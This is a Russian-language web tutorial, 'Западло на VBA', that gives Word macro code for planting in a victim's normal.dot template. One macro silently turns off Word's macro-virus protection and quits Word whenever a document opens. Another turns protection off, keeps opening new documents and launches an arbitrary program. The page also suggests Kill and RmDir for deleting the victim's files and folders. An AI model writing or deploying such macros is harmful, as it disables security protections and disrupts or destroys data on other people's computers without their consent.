Базы данныхИнтернетКомпьютерыОперационные системыПрограммированиеСетиСвязьРазное
Поиск по сайту:
Подпишись на рассылку:

Назад в раздел

Западло на VBA.

div.main {margin-left: 20pt; margin-right: 20pt}Западло на VBA.

Нумбер раз.
(Желательно это написать в normal.dot)
Private Sub document_open() ' Как только откроется документ ...
Options.VirusProtection = False ' ... снимаем защиту от макро вирусов (на всякий случай ;) )
Application.Quit ' И сразу закрываем Word :)
End Sub
Т.е. как только ламух откроет свой любимый Ворд то он сразу захлопнется.

Нумбер два.
(И это желательно ... нет обязательно надо написать в normal.dot!)
Private Sub document_new() 'Срабатывает как только откроется новый документ
Options.VirusProtection = False ' Ну, а это ты знаешь
Application.Documents.Add ' Открываем новый документ
Selection.Text = "Пишешь что хочешь" ' Пишем в этом документе
Selection.Font.Size = 24 ' Можно поставить нужный размер ...
Selection.Font.Name = "Comic Sans MS" ' ... и шрифт
Shell ("Путь к файлу") ' Можно просто написать (Shell("explorer"))
End Sub
Как только открывается документ , открываем ещё , а потом ёще и ещё.
И так до тех пор пока мозги не свернутся.
А чтобы Ворду одному скучно не было запустим ему друга(или подружку) ;)

Ещё есть пара функций это kill("путь к файлу который будет удалён").
Единственное, при попытке удалить открытый или "только для чтения"
файл возникает ошибка. :(
И RmDir("путь") - удаляет каталог. Опять же при попытке удалить каталог,
который содержит файлы, возникает ошибка. :(
Я ещё не придумал, что можно сделать с ними.

Автор: YZer



  • Главная
  • Новости
  • Новинки
  • Скрипты
  • Форум
  • Ссылки
  • О сайте




  • Emanual.ru – это сайт, посвящённый всем значимым событиям в IT-индустрии: новейшие разработки, уникальные методы и горячие новости! Тонны информации, полезной как для обычных пользователей, так и для самых продвинутых программистов! Интересные обсуждения на актуальные темы и огромная аудитория, которая может быть интересна широкому кругу рекламодателей. У нас вы узнаете всё о компьютерах, базах данных, операционных системах, сетях, инфраструктурах, связях и программированию на популярных языках!
     Copyright © 2001-2024
    Реклама на сайте